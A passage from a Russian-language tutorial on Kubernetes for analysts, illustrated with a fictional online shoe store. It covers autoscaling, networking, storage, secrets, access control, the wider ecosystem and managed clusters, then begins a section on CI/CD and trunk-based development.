      name: pay
    spec:
      minAvailable: 2          # при 3 репликах — можно забрать один под за раз
      selector:
        matchLabels:
          app: pay
    Как это звучит у аналитика. «Плановые работы на инфраструктуре проводятся без остановки сервиса; во время них работает не менее двух экземпляров сервиса оплаты». В манифестах это три реплики, PDB с minAvailable: 2 и корректное завершение подов (глава 8).

    глава 10 · масштабирование больше подов, больше ресурсов, больше узлов

    Пятница, 19:00, распродажа. Нагрузка на магазин выросла в пять раз за пять минут. В Kubernetes на это отвечают три разных механизма на трёх уровнях. Их часто путают.

    ↔ HPA — больше подов

    Горизонтальное масштабирование: меняет число реплик по метрике.

    ↕ VPA — больше ресурсов поду

    Вертикальное: подбирает поду requests и limits.

    🖥 Автомасштаб узлов

    Cluster Autoscaler или Karpenter: добавляет и убирает сами серверы.

    HorizontalPodAutoscaler (HPA, горизонтальный автомасштабатор) — контроллер, который раз в 15 секунд смотрит на метрику (чаще всего — загрузку CPU в процентах от requests) и меняет replicas у Deployment, чтобы метрика держалась около цели.
    кассы в супермаркете. Очередь растёт — старший открывает ещё кассы. Очередь рассосалась — кассы закрывают, но не сразу: вдруг через пять минут снова набегут. Открывать быстро, закрывать медленно.

    Формула простая: нужно = ⌈ сейчас × текущее / целевое ⌉. Было 4 пода, средняя загрузка 140 % от запроса, цель — 70 %: ⌈4 × 140 / 70⌉ = 8 подов. Если разница меньше 10 %, HPA ничего не трогает, чтобы не дёргаться. Вверх по умолчанию растёт быстро; вниз — только если в течение последних 5 минут ни разу не требовалось больше (окно стабилизации).

    Симулятор: распродажа

    Двигайте нагрузку или выберите сценарий и запустите. Один под при загрузке CPU 100 % от запроса обслуживает 100 запросов в секунду; цель HPA — 70 %. Минимум 2 пода, максимум 12. В кластере сначала три узла по 3 пода. Шаг модели — 15 секунд, как у HPA; на графике последние 15 минут.

    200
    сколько подов нужно при такой нагрузкежелаемое HPA (replicas)готовые подыесть поды в Pending
    Что вы увидите. На резком всплеске готовые поды всегда отстают от нужных: HPA узнаёт о росте через метрики, под стартует десятки секунд, а новый узел — минуты. В этот промежуток магазин перегружен. Поэтому к известным пикам (распродажа по расписанию) масштабируются заранее, а на внезапные держат запас.

    VPA и изменение ресурсов «на ходу»

    VerticalPodAutoscaler (VPA) — отдельное дополнение, которое наблюдает за реальным потреблением и подбирает поду requests и limits. Может только советовать (режим Off — самый безопасный для начала), выставлять ресурсы новым подам (Initial), пересоздавать поды с новыми ресурсами (Recreate) или менять их в работающем поде, а если не получится — пересоздавать (InPlaceOrRecreate).
    портной, который раз в месяц снимает мерки и перешивает форму. Раньше для этого форму надо было снять — то есть перезапустить под. Теперь многое можно ушить прямо на человеке.

    «Прямо на человеке» — это изменение ресурсов пода на месте (in-place pod resize), стабильное с Kubernetes 1.35 (декабрь 2025). CPU меняется без перезапуска контейнера; для памяти по умолчанию контейнер перезапускается, это задаётся политикой изменения размера.

    Не смешивайте. HPA и VPA не должны управлять одним и тем же ресурсом одного Deployment: VPA поднимет requests — загрузка «в процентах от requests» упадёт — HPA уберёт поды — нагрузка на оставшиеся вырастет… Обычно HPA — по CPU или по бизнес-метрике, а VPA — только в режиме рекомендаций.

    Автомасштабирование узлов

    Cluster Autoscaler

    Видит поды в Pending из-за нехватки ресурсов — добавляет узел в заранее описанную группу одинаковых машин. Видит узел, который давно почти пуст, — переносит поды (уважая PDB) и удаляет узел; по умолчанию ждёт около 10 минут, прежде чем счесть узел ненужным.

    Karpenter

    Смотрит на ожидающие поды и сам подбирает подходящий тип машины, без заранее заданных групп. Быстрее и экономнее в облаке. Появился в AWS, есть поставщик и для Azure.

    KEDA (Kubernetes Event-Driven Autoscaling) — дополнение, которое масштабирует по событиям: длине очереди, отставанию потребителя в Kafka, расписанию. Умеет уменьшать число подов до нуля, когда работы нет. Под капотом создаёт обычный HPA.
    Звено цепочкиСколько занимает
    Метрики дошли до HPAдесятки секунд (сбор раз в 15 с плюс усреднение)
    HPA принял решениедо 15 секунд
    Под запланирован, образ скачан, приложение поднялось и прошло readinessот секунд до минут — зависит от размера образа и старта приложения
    Не хватило места — новый узел создан и вошёл в кластеробычно минуты
    Как это звучит у аналитика. Плохо: «система должна автоматически масштабироваться». Хорошо: «при росте нагрузки с 200 до 1 000 запросов в секунду за 5 минут время ответа p95 не превышает 800 мс; к плановым акциям мощность увеличивается заранее по расписанию». Во втором варианте видно, что нужно: запас, расписание и проверка нагрузочным тестом.

    глава 11 · сеть как найти под, у которого каждый раз новый адрес

    Сетевая модель Kubernetes проста: у каждого пода свой IP-адрес, и любой под может достучаться до любого другого напрямую, без трансляции адресов. Эту плоскую сеть строит сетевой плагин (CNI) — Calico, Cilium, Flannel или облачный. Но адреса подов живут столько, сколько сами поды. Корзине нужен адрес оплаты, который не меняется.

    Service (сервис) — постоянный адрес и имя для группы подов, выбранных по меткам. Запрос на адрес Service попадает на один из готовых подов группы. Поды приходят и уходят — адрес Service остаётся.
    единый номер горячей линии. Вы звоните на 8-800, а трубку берёт один из свободных операторов. Операторы уходят в отпуск, меняются смены — номер тот же. Звонящему не нужно знать личные телефоны операторов.
    EndpointSlice — список адресов готовых подов, которые сейчас стоят за Service. Его обновляет контроллер при каждом изменении готовности. Старый объект Endpoints с версии 1.33 объявлен устаревшим.

    Какие бывают Service

    ТипГде доступенКак это работает
    ClusterIP (по умолчанию)Только внутри кластераВиртуальный адрес, например 10.96.14.7. За ним никакой программы нет: правила на каждом узле подменяют его на адрес живого пода.
    NodePortСнаружи, на порту каждого узлаОткрывает порт из диапазона 30000–32767 на всех узлах. Сам по себе редко используется, чаще как ступенька для балансировщика.
    LoadBalancerСнаружи, через облачный балансировщикОблачный контроллер создаёт у провайдера балансировщик с внешним адресом. Каждый такой Service — отдельный платный балансировщик.
    ExternalNameВнутриПросто псевдоним в DNS на внешнее имя, например на управляемую базу в облаке.
    Headless (clusterIP: None)ВнутриБез виртуального адреса: DNS возвращает адреса самих подов. Нужен StatefulSet-ам (глава 12) и клиентам, которые балансируют сами.

    Имя в DNS

    В кластере работает DNS-сервер (обычно CoreDNS). Каждый Service получает имя вида:

    pay.shop-prod.svc.cluster.local
     │     │          │    └─ домен кластера (по умолчанию)
     │     │          └────── «это Service»
     │     └───────────────── пространство имён
     └─────────────────────── имя Service

    Из того же пространства имён достаточно написать http://pay, из другого — http://pay.shop-prod. Именно поэтому в конфигах сервисов «Ботинка» больше нет IP-адресов.

    Кто на самом деле направляет пакеты

    На каждом узле работает kube-proxy. Он следит за Service и EndpointSlice и переписывает сетевые правила ядра Linux: «пакет на 10.96.14.7:80 — отправь на один из 10.244.1.7, 10.244.2.9, 10.244.3.4». Режимы: iptables — по умолчанию; nftables — стабилен с 1.33 и рекомендуется на свежих ядрах; IPVS — объявлен устаревшим в 1.35. Некоторые сетевые плагины (например, Cilium) заменяют kube-proxy целиком своей программой на eBPF.

    Ловушка для архитектора: балансировка по соединениям. Service распределяет соединения, а не запросы. HTTP/1.1 с короткими соединениями распределяется хорошо. А gRPC и HTTP/2 держат одно долгое соединение и шлют по нему тысячи запросов — все они попадут в один и тот же под. Добавили поды по HPA — а новые простаивают, старые перегружены. Лечат балансировкой на уровне запросов: сервисная сетка, балансировка в клиенте через headless Service, ограничение времени жизни соединения.

    Вход снаружи: Ingress и Gateway API

    Ingress — объект с правилами HTTP-маршрутизации снаружи в кластер: «botinok.ru/api → Service api, botinok.ru → Service shop». Сам ничего не делает: правила исполняет отдельно установленный контроллер входа (ingress controller) — например, на Envoy, HAProxy или Traefik.
    Gateway API — более новый и богатый набор объектов для входящего трафика, стабильный с 2023 года (в 2026-м актуальна версия 1.5). Разделяет ответственность по ролям: GatewayClass — какой движок (выбирает поставщик инфраструктуры), Gateway — точка входа с адресом и сертификатами (платформенная команда), HTTPRoute/GRPCRoute — маршруты к сервисам (команды сервисов). Умеет из коробки то, что в Ingress делали нестандартными аннотациями: веса для canary, маршрутизацию по заголовкам, перенаправления.
    Ingress — одна общая табличка-указатель на входе в бизнес-центр, которую правит только завхоз, а каждый арендатор просит его дописать строчку. Gateway API — ресепшен (Gateway), который держит управляющая компания, и у каждого арендатора своя доска с указателями к его офису (HTTPRoute).
    Важная новость для проектов 2026 года. Сам API Ingress стабилен и не удаляется, но его развитие заморожено: новые возможности добавляют только в Gateway API. А самый популярный контроллер — проект сообщества ingress-nginx — в марте 2026 года прекратил поддержку: больше нет исправлений, в том числе исправлений безопасности. Новые проекты стоит начинать на Gateway API, существующим — планировать миграцию.

    Пройдите путь запроса Анны снаружи до пода.

    NetworkPolicy: по умолчанию разрешено всё

    NetworkPolicy — правило «какие поды с какими могут соединяться». Пока ни одно правило не выбрало под, к нему может подключиться кто угодно в кластере. Как только правило выбрало под для входящего трафика, разрешено только то, что правила явно разрешают.
    офис открытой планировки без дверей. Пока не поставили турникеты, любой посетитель дойдёт до бухгалтерии. Турникет с пропусками появился — проходят только те, кому выписали пропуск.

    Если злоумышленник захватил под каталога через уязвимость, без сетевых правил он сможет стучаться напрямую в базу оплаты. Обычная практика — в каждом пространстве имён правило «запретить весь входящий трафик» и точечные разрешения поверх него.

    # 1) запретить всё входящее в пространстве имён
    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata: { name: default-deny, namespace: shop-prod }
    spec:
      podSelector: {}            # все поды пространства имён
      policyTypes: [Ingress]
    ---
    # 2) к оплате — только от корзины, только на порт 8080
    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata: { name: pay-from-cart, namespace: shop-prod }
    spec:
      podSelector: { matchLabels: { app: pay } }
      ingress:
        - from: [{ podSelector: { matchLabels: { app: cart } } }]
          ports: [{ port: 8080 }]
    Две ловушки. 1) Правила исполняет сетевой плагин. Calico и Cilium их поддерживают, а, например, Flannel сам по себе — нет: правила будут созданы и молча не будут работать. 2) Если запретили и исходящий трафик, не забудьте разрешить DNS (порт 53 к CoreDNS) — иначе сервисы перестанут находить друг друга по именам.

    Тренажёр: как открыть сервис

    Решено 0 из 0.

    глава 12 · состояние и особые задачи StatefulSet, тома, DaemonSet, Job

    Deployment хорош для сервисов, у которых нет своего состояния: любой под можно убить и заменить любым другим. Но у «Ботинка» есть и другие задачи. Базе нужен свой диск. Сборщику логов нужно быть на каждом узле. Ночной выгрузке для бухгалтерии нужно отработать и закончиться. Для каждого случая — свой объект.

    StatefulSet: поды с номерами и своими дисками

    StatefulSet — как Deployment, но каждый под получает постоянное имя с номером (db-0, db-1, db-2), свой постоянный диск и своё DNS-имя через headless Service (db-0.db.shop-prod.svc.cluster.local). Поды создаются по порядку (сначала 0, потом 1) и удаляются в обратном. Если db-1 пересоздан, он снова будет db-1 и подключит тот же диск.
    шкафчики в бассейне с номерами. Если вы пришли в другой день, вас снова ждёт ваш шкафчик №17 с вашими вещами. В Deployment же — вешалки в гардеробе: какую дали, такую и дали, и вещи на ней чужие.
    StatefulSet не делает базу отказоустойчивой. Он даёт стабильные имена и диски. Кто из трёх копий главный, как они копируют данные, как переключиться при сбое, как делать бэкапы — это знает сама база или специальный оператор (глава 14), а не StatefulSet. Многие команды вообще держат базы вне кластера — в управляемом сервисе облака. Для стартапа это почти всегда проще.

    Ещё одна особенность. Если узел с db-0 перестал отвечать, Kubernetes не создаст новый db-0 на другом узле, пока не убедится, что старый точно мёртв: две копии с одним именем и одним диском могут испортить данные. Под зависает в Terminating, пока узел не вернётся или человек не подтвердит его смерть. Это цена безопасности — и повод для требования «время восстановления хранилища» считать отдельно от stateless-сервисов.

    Тома: PV, PVC и StorageClass

    PersistentVolumeClaim (PVC) — заявка пода на диск: «нужно 20 ГиБ, быстрый, подключается к одному узлу». StorageClass — описание вида хранилища и того, кто умеет такие диски создавать (например, «облачный SSD»). PersistentVolume (PV) — конкретный выданный диск. Обычно PV создаётся автоматически по заявке.
    заявка на склад: «нужна полка на 20 кг, в тёплом помещении» — это PVC. Каталог складов с условиями — StorageClass. Конкретная полка №A-14, которую выделили, — PV.

    ReadWriteOnce

    Диск подключается к одному узлу. Самый частый вариант для облачных дисков и баз.

    ReadWriteMany

    Диск доступен многим подам на разных узлах. Нужна сетевая файловая система; медленнее и дороже.

    ReadWriteOncePod

    Строже RWO: только один под во всём кластере. Для программ, которые не терпят второго писателя.

    Две ловушки с дисками. 1) У автоматически созданных дисков политика возврата часто Delete: удалили PVC — удалился и диск с данными. Для важных данных ставят Retain и делают бэкапы. 2) Облачный диск обычно живёт в одной зоне доступности. Под с таким диском не может переехать в другую зону — при отказе зоны он будет ждать.
    А если писать файлы прямо в под? Временная папка (emptyDir) и файловая система контейнера исчезают вместе с подом. Загруженные покупателями фото, сгенерированные счета, сессии — только во внешнее хранилище: объектное (S3-совместимое), базу, общий кеш.

    DaemonSet, Job, CronJob

    DaemonSet

    Ровно один под на каждом узле (или на узлах с нужной меткой). Добавили узел — под появился сам. Для агентов: сборщики логов и метрик, сетевой плагин, kube-proxy. Как огнетушитель на каждом этаже.

    Job

    Под, который должен отработать и закончиться успешно. Упал — Job запустит заново, по умолчанию до 6 попыток (backoffLimit). Выгрузка отчёта, миграция данных, пересчёт цен.

    CronJob

    Job по расписанию в формате cron: "0 3 * * *" — каждый день в 03:00. Можно указать часовой пояс и что делать, если прошлый запуск ещё идёт: разрешить (Allow), пропустить (Forbid) или заменить (Replace).

    CronJob — не будильник со стопроцентной гарантией. Если в нужную минуту плоскость управления была недоступна, запуск может пропасть или случиться позже; в редких случаях задача может выполниться дважды. Поэтому ночная выгрузка должна быть идемпотентной: повторный запуск за ту же дату не создаёт дублей. Требование аналитика: «повторный запуск выгрузки за ту же дату не создаёт дублей и не отправляет письмо повторно».

    Тренажёр: какой объект выбрать

    Решено 0 из 0.

    глава 13 · конфиги, секреты, доступы один образ на все среды и никаких паролей в Git

    Образ магазина один и тот же для теста и для боевой среды. Отличаются только настройки: адрес базы, уровень логов, ключ платёжного шлюза. Их кладут не в образ, а в отдельные объекты.

    ConfigMap — объект с обычными настройками в виде «ключ — значение» или целых файлов. Под получает их как переменные окружения или как файлы в папке.
    памятка на двери кухни в кафе: «сегодня соус острый, хлеб до 22:00». Повар один и тот же, рецепты те же, а памятка своя в каждом филиале.

    Как переменные окружения

    Просто для приложения. Но значения читаются только при старте контейнера. Поменяли ConfigMap — поды продолжат жить со старыми значениями до перезапуска.

    Как файлы

    Файлы в папке обновятся сами, с задержкой порядка минуты (кроме файлов, подключённых через subPath). Приложение должно уметь перечитывать конфиг. Иначе толку нет.

    Частый приём. Добавить в шаблон пода аннотацию с контрольной суммой конфига. Поменялся конфиг — поменялась аннотация — изменился шаблон — Deployment плавно перезапустит поды. Helm и Kustomize умеют это делать автоматически.

    Secret: почему base64 — это не шифрование

    Secret — объект для чувствительных данных: паролей, токенов, ключей, сертификатов. Устроен почти как ConfigMap, но доступ к нему обычно ограничивают строже, а значения в манифесте записаны в кодировке base64.

    Кодировка base64 — это способ записать любые байты печатными символами. Она обратима без всякого ключа. Это не замок, а перевод на другой алфавит. Проверьте: введите пароль и посмотрите, что попадёт в манифест, а потом раскодируйте его, как сделал бы любой, кто увидел файл.

    
        
    Кто может прочитать секрет. 1) Любой, у кого есть право читать Secret в этом пространстве имён. 2) Любой, кто может создать под в этом пространстве имён: он подключит секрет к своему поду и прочитает. 3) Любой, у кого есть доступ к etcd или его бэкапам, если в кластере не включено шифрование хранимых данных. 4) Любой, кто видит репозиторий, если манифест с секретом лежит в Git.

    Как защищают секреты на деле

    🔒 Шифрование в etcd

    Настройка API-сервера (EncryptionConfiguration), лучше с внешним сервисом ключей (KMS). В управляемых кластерах обычно включается галочкой или уже включена.

    🗝 Внешнее хранилище

    Пароли живут в HashiCorp Vault или облачном хранилище секретов (например, AWS Secrets Manager, Yandex Lockbox). External Secrets Operator сам копирует их в Secret кластера и обновляет при ротации.

    📁 Файлы вместо переменных

    Переменные окружения легко утекают: в логи при падении, в отладочные страницы, в дочерние процессы. Секрет в файле безопаснее и может обновляться без перезапуска.

    📦 Git без открытых паролей

    В репозитории — либо ссылка на секрет во внешнем хранилище, либо зашифрованный объект (например, Sealed Secrets), который расшифровать может только контроллер в кластере.

    RBAC: кто что может делать

    RBAC (Role-Based Access Control, управление доступом на основе ролей) — права в кластере. Role перечисляет разрешённые действия (get, list, watch, create, update, patch, delete) над видами объектов в одном пространстве имён; ClusterRole — то же для всего кластера. RoleBinding выдаёт роль кому-то: человеку, группе или сервисному аккаунту.
    пропуск в бизнес-центре. На пропуске написано: этаж 3, комнаты 301–305, можно входить и брать документы, выносить нельзя. Пропуск выдают человеку, а права записаны в «должности», которую ему присвоили.
    ServiceAccount (сервисный аккаунт) — «учётная запись» для программы, а не для человека. Каждый под работает от имени какого-то сервисного аккаунта и получает короткоживущий токен. Через него под может обращаться к API кластера, а в облаке — получать права к облачным ресурсам без хранения ключей.

    Аналитику Олегу нужно смотреть поды и логи магазина, но ничего не менять:

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata: { name: read-only, namespace: shop-prod }
    rules:
      - apiGroups: [""]
        resources: [pods, pods/log, services, events]
        verbs: [get, list, watch]            # только смотреть
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: RoleBinding
    metadata: { name: oleg-read-only, namespace: shop-prod }
    subjects:
      - kind: User
        name: oleg@botinok.ru                # имя приходит от корпоративного входа (OIDC)
    roleRef: { kind: Role, name: read-only, apiGroup: rbac.authorization.k8s.io }
    Типичные ошибки с доступом. Выдать всем разработчикам cluster-admin «чтобы не мешало». Дать сервисному аккаунту приложения право читать все секреты кластера. Разрешить создавать поды тем, кому нельзя видеть секреты (см. выше: создание пода = чтение секретов). Проверить себя можно командой kubectl auth can-i get secrets -n shop-prod --as oleg@botinok.ru.
    Ещё один рубеж — правила безопасности подов. Встроенный контроль Pod Security Admission вешается меткой на пространство имён и проверяет поды по одному из трёх уровней: privileged (без ограничений), baseline (запрещено явно опасное) и restricted (строгий: без root, без лишних привилегий ядра). Для боевых пространств имён разумная цель — restricted.

    глава 14 · экосистема и облака операторы, Helm, GitOps и управляемый Kubernetes

    Сам Kubernetes — это ядро. Вокруг него выросла огромная экосистема. Архитектору и аналитику не нужно знать её всю, но нужно понимать, что стоит за словами, которые звучат на каждой встрече.

    CRD и операторы: научить Kubernetes новым словам

    CRD (CustomResourceDefinition) — способ добавить в кластер свой вид объектов: «кластер PostgreSQL», «сертификат», «топик Kafka». После этого их можно описывать в YAML и применять, как Deployment.
    Оператор (operator) — контроллер для такого объекта, в который зашиты знания опытного администратора: как поднять реплики базы, как переключиться на реплику при сбое, как сделать бэкап, как обновить версию. Тот же цикл согласования, только про предметную область.
    опытный администратор баз данных, упакованный в программу, которая не спит. Вы говорите ему «хочу базу из трёх копий на 50 ГиБ» — дальше он сам.
    # Оператор CloudNativePG: база PostgreSQL из трёх копий
    apiVersion: postgresql.cnpg.io/v1
    kind: Cluster
    metadata:
      name: orders-db
    spec:
      instances: 3          # один ведущий и две реплики; переключение — забота оператора
      storage:
        size: 50Gi

    Известные операторы: CloudNativePG (PostgreSQL), Strimzi (Kafka), cert-manager (выпуск и продление TLS-сертификатов), Prometheus Operator (мониторинг). Оператор — это тоже программа со своими ошибками и обновлениями. Выбирая его, смотрят на зрелость проекта так же строго, как на саму базу.

    Helm и Kustomize: как не копировать YAML по средам

    ⎈ Helm

    Менеджер пакетов для Kubernetes. Пакет (chart) — это шаблоны манифестов плюс файл настроек values.yaml. Установленная копия называется релизом; её можно обновить и откатить. Готовые пакеты есть почти для всего: баз, мониторинга, контроллеров входа. Helm 4 вышел в ноябре 2025 года и для новых установок применяет манифесты на стороне сервера (server-side apply).

    🧩 Kustomize

    Без шаблонов: есть базовые манифесты и наложения (overlays) для сред — «в проде 6 реплик и другой адрес базы». Встроен в kubectl (kubectl apply -k). Проще читать, меньше магии.

    Helm — конструктор с инструкцией и анкетой: заполнили анкету — получили собранную модель. Kustomize — базовый рецепт борща и пометки на полях: «для бабушки — меньше соли, для детей — без перца».

    GitOps: термостат для всего кластера

    В главе 2 контроллер сравнивал желаемое в etcd с фактическим в кластере. GitOps поднимает ту же идею на уровень выше: желаемое состояние — это репозиторий Git. Агент в кластере (Argo CD или Flux) постоянно сравнивает Git с кластером и подтягивает изменения. Кто-то поправил руками — агент вернёт как в Git. Хотите откатить — откатываете коммит. История изменений кластера — это история репозитория.

    Наблюдаемость и сервисная сетка

    🔭 Наблюдаемость

    Приложение пишет логи в стандартный вывод — агент-DaemonSet на каждом узле (Fluent Bit, Vector, OpenTelemetry Collector) забирает их и отправляет в хранилище. Метрики собирает Prometheus, а kube-state-metrics добавляет метрики объектов: сколько реплик желаемо и готово, сколько перезапусков. Трассировка — через OpenTelemetry. Маленький metrics-server — не мониторинг: он нужен только HPA и команде kubectl top.

    🕸 Сервисная сетка

    Istio или Linkerd добавляют прокси к каждому поду (или в режиме без sidecar — на узел) и берут на себя шифрование между сервисами (mTLS), повторы, таймауты, балансировку по запросам и разделение трафика для canary. Окупается на десятках сервисов, а не на пяти.

    Управляемый Kubernetes

    Держать свою плоскость управления — это etcd с бэкапами, сертификаты, обновления три раза в год. Поэтому большинство компаний берут управляемый (managed) Kubernetes у облачного провайдера: Amazon EKS, Google GKE, Microsoft AKS, Yandex Managed Service for Kubernetes и другие. Провайдер держит плоскость управления, вы — всё, что работает на узлах.

    Кто отвечаетСвой кластерУправляемый кластер
    etcd, API-сервер, планировщик, их отказоустойчивость и бэкапывыпровайдер
    Обновление версии плоскости управлениявыпровайдер, но вы выбираете момент и проверяете совместимость
    Узлы: обновление ОС, версии kubelet, замена сломанныхвыобычно вы, с автоматизацией провайдера; в режимах вроде GKE Autopilot или EKS Auto Mode — провайдер
    Ваши манифесты, ресурсы, пробы, секреты, сетевые правила, прававывсё равно вы
    Обновляться придётся всегда. Новая версия Kubernetes выходит примерно три раза в год, каждая поддерживается около 14 месяцев. Значит, минимум раз в год кластер надо обновить, а вместе с ним — проверить, не пропали ли устаревшие API, которыми пользуются ваши манифесты и чарты. Облачные провайдеры после окончания поддержки обновляют принудительно; некоторые продают расширенную поддержку. Для аналитика это регулярные работы, которые должны быть в плане, а не сюрприз.

    глава 15 · аналитику как Kubernetes меняет требования — и когда он не нужен

    Олег пишет требования к новому сервису доставки. Раньше он писал «система должна быть отказоустойчивой и масштабируемой». Теперь он знает, во что это превращается на кластере, и может написать проверяемо.

    Сначала главный вопрос: а нужен ли он?

    Отметьте, что верно для вашего проекта. Справа появится вывод.

    Чем за Kubernetes платят

    Обучение команды; минимум пара человек, которые понимают платформу; обновления каждый год; десятки дополнений (вход, сертификаты, логи, метрики, секреты), каждое со своими версиями; сотни строк YAML; новая поверхность для атак.

    Что бывает вместо

    Для одного монолита или трёх сервисов — пара виртуальных машин с Docker Compose и балансировщиком; бессерверные контейнеры облака (например, Google Cloud Run, Yandex Serverless Containers); платформы приложений (PaaS). Они дают выкатку и масштабирование без своей плоскости управления.

    Как требования превращаются в настройки кластера

    Щёлкните строку — раскроется, что за этим стоит и о чём спросить платформенную команду.

    Частые ошибки — и как их поймать ещё на требованиях

    Проще говоря. Kubernetes берёт на себя «где» и «сколько», но требует от приложения трёх качеств: не хранить ничего важного внутри пода, честно отвечать на пробы и спокойно умирать по сигналу. Если аналитик вписал эти три свойства в требования к каждому сервису, половина будущих аварий не случится.

    глава 16 · проверь себя двенадцать вопросов о кластере «Ботинка»

    Решено 0 из 0.

    Дальше → CI/CD и инфраструктура как код: как код превращается в образ, образ — в манифест, а манифест попадает в кластер без ручных команд

    CI/CD — это конвейер, который превращает каждую правку кода в проверенную версию, готовую к выкатке. Без ручной сборки и без «пятничного релиза». Весь раздел — одна история. Разработчик Борис из магазина кроссовок «Ботинок» собирает релиз руками в пятницу вечером, и всё идёт не так. Мы шаг за шагом заменим каждое его ручное действие автоматикой. Построим конвейер и научим его останавливаться при браке. Опишем серверы кодом. А потом отдадим Git управление кластером.

    зачем это зачем магазину конвейер, если «и так выкатываем»

    карта раздела одна пятница Бориса, пятнадцать глав

    Читайте по порядку: каждая глава чинит одну беду из первой главы. Кнопка переносит к главе.

    глава 1 · завязка пятница, 18:30: Борис собирает релиз руками

    Сначала три слова, вокруг которых построен весь раздел.

    Непрерывная интеграция (Continuous Integration, CI) — правило работы команды. Каждый разработчик вливает свои правки в общую главную ветку часто, хотя бы раз в день. Каждое такое вливание автоматически собирается и проверяется тестами.
    уборка в общей квартире. Если каждый вечер убирать по десять минут, дома всегда чисто. Если копить месяц, придётся устраивать генеральную уборку на все выходные. И ругаться, кто разбросал носки.
    Непрерывная доставка (Continuous Delivery, CD) — продолжение CI. Каждая правка, прошедшая проверки, сама доезжает до состояния «можно выкатить в прод одной кнопкой». Есть и следующий шаг — непрерывное развёртывание (Continuous Deployment). Там кнопку нажимает сам конвейер. Разница — в главе 7.
    Конвейер (pipeline) — автоматическая цепочка шагов, по которой проходит каждая правка: сборка, тесты, проверки, выкатка. Он описан текстовым файлом рядом с кодом и выполняется на отдельных машинах — исполнителях (runners, agents).
    технологическая карта на хлебозаводе. Домашний пекарь каждый раз печёт по-своему: иногда шедевр, иногда кирпич. Завод печёт по карте: одно и то же тесто, та же температура, то же время. Если батон вышел кривым, линию останавливают и ищут причину.

    Теперь история. В «Ботинке» четыре разработчика. Новую версию магазина выпускают раз в три недели, в пятницу вечером: «в выходные покупателей меньше, успеем починить». Выпуском занимается Борис — он единственный, кто помнит порядок действий. Пройдите этот вечер по шагам. Смотрите на схему, на часы и на красные пометки внизу: это проблемы, которые накапливаются по дороге.

    Как читать схему. Подсвечено то, что участвует в текущем шаге. Жёлтое — рискованное действие, красное — сломалось. В сером окошке — то, что Борис видит в терминале. Красные плашки под схемой копятся: каждая — отдельная беда, и у каждой в разделе есть своя глава-лекарство.
    Проще говоря. Борис не плохой разработчик. Плох процесс, в котором качество держится на памяти и аккуратности одного человека в пятницу вечером. CI/CD убирает из этого процесса ручные шаги. Каждый шаг выполняется одинаково, записывается в журнал и останавливает выкатку, если что-то не так.

    глава 2 · интеграция долгие ветки, «ад слияния» и разработка в основной ветке

    Первая беда пятницы — 23 конфликта при слиянии. Откуда они берутся?

    Ветка (branch) — отдельная линия правок в Git. Разработчик работает в ней и не мешает другим. Когда работа готова, ветку вливают (merge) в главную ветку — её называют main или trunk, «ствол».
    Конфликт слияния (merge conflict) — два человека поменяли одно и то же место в файле по-разному. Git не знает, чья правка важнее, и просит человека решить.
    Ад слияния (merge hell, integration hell) — ветки жили неделями, разошлись далеко, и их слияние превращается в отдельный проект. Долго, нервно и с ошибками.
    двое пишут одну книгу. Если каждый месяц пишет свою половину отдельно, при склейке выяснится, что у героя в первой половине карие глаза, а во второй голубые. И что в пятой главе он умер, а в седьмой женится. Если сводить текст каждый вечер, расхождение видно сразу, пока его легко поправить.

    Почему долгие ветки опасны — три причины

    1. Конфликтов больше

    Чем дольше живёт ветка, тем больше в ней правок. И тем больше правок успели сделать остальные. Число столкновений растёт примерно как произведение этих двух объёмов.

    2. Каждый конфликт дороже

    Через три недели никто не помнит, зачем менял эту строку. Разбирается тот, кто сливает, — часто в чужом коде. Так Борис и выбросил скидку Киры.

    3. Смысловые конфликты не видны

    Борис перевёл цены в копейки, а Кира в своей ветке считает скидку в рублях. Git сольёт это без единого конфликта — строки разные. Сломается логика. Поймают её только тесты или покупатели.

    Посчитайте сами: как частота слияний меняет картину

    Двигайте ползунки. Горизонтальная линия — главная ветка за месяц (20 рабочих дней). Дуги — ветки разработчиков: отходят от главной и возвращаются в неё при слиянии. Кружок в точке возврата — ожидаемые конфликты при этом слиянии: чем больше, тем больше конфликтов.

    6
    10 дней
    Слияний в месяц на команду: — Конфликтов в месяц: — Часов на их разбор: — Код ждёт интеграции в среднем: —
    Что заложено в модель. Каждый разработчик в день меняет около пяти «кусков» кода (по 30 строк). В проекте около 1 500 мест, которые правят часто. Конфликт — когда ваш кусок и кусок коллеги попали в одно место за время жизни вашей ветки. Разбор одного конфликта — 5 минут плюс 4 минуты за каждый день возраста ветки: чем старше правка, тем хуже её помнят. Модель грубая. Числа годятся для сравнения вариантов, а не для прогноза.

    Лекарство: разработка в основной ветке

    Разработка в основной ветке (trunk-based development) — все вливают маленькие правки в главную ветку хотя бы раз в день. Короткие ветки живут часы, максимум день-два. Главная ветка всегда в рабочем состоянии: её можно собрать и выкатить в любой момент.
    общая кухня в коммуналке. Каждый моет за собой посуду сразу. Раковина никогда не бывает полной, и никто не выясняет в воскресенье, чья это сковородка.

    Сразу возникает вопрос: а если функция делается две недели? Нельзя же вливать в main недоделанную оплату. Для этого есть три приёма.

    🚩 Флаг функциональности

    Незаконченный код лежит в main, но выключен условием, которое хранится в настройках. Покупатели его не видят. Подробно — в разделе : «выкатить» и «включить» — разные вещи.

    🧱 Ветвление через абстракцию

    (branch by abstraction) Старую реализацию прячут за интерфейсом, рядом пишут новую, переключают постепенно. Большая замена делается маленькими безопасными шагами прямо в main.

    🌓 Сначала невидимое

    Сначала вливают то, что никто не вызывает: новую таблицу, новый метод API без кнопки на сайте. Потом подключают. Каждый шаг маленький и безопасный.

    Три популярные схемы работы с ветками

    Нажмите на строку, чтобы раскрыть пояснение.

    «CI-театр». Сервер CI есть, на каждый коммит в ветку гоняются тесты — а ветки живут по месяцу. Это не непрерывная интеграция: интеграция — это слияние с работой коллег, а оно по-прежнему раз в месяц. Проверка одной ветки отдельно не видит конфликтов с остальными.
    Как это звучит в требованиях. «Главная ветка всегда собирается и проходит тесты. Ветка живёт не больше двух рабочих дней. Каждое вливание в main — через запрос на слияние с ревью второго человека и зелёным конвейером. Незаконченная функциональность закрывается флагом, у флага есть владелец и дата удаления».

    глава 3 · стадии конвейер как на автозаводе: посты, ОТК и шнур андон

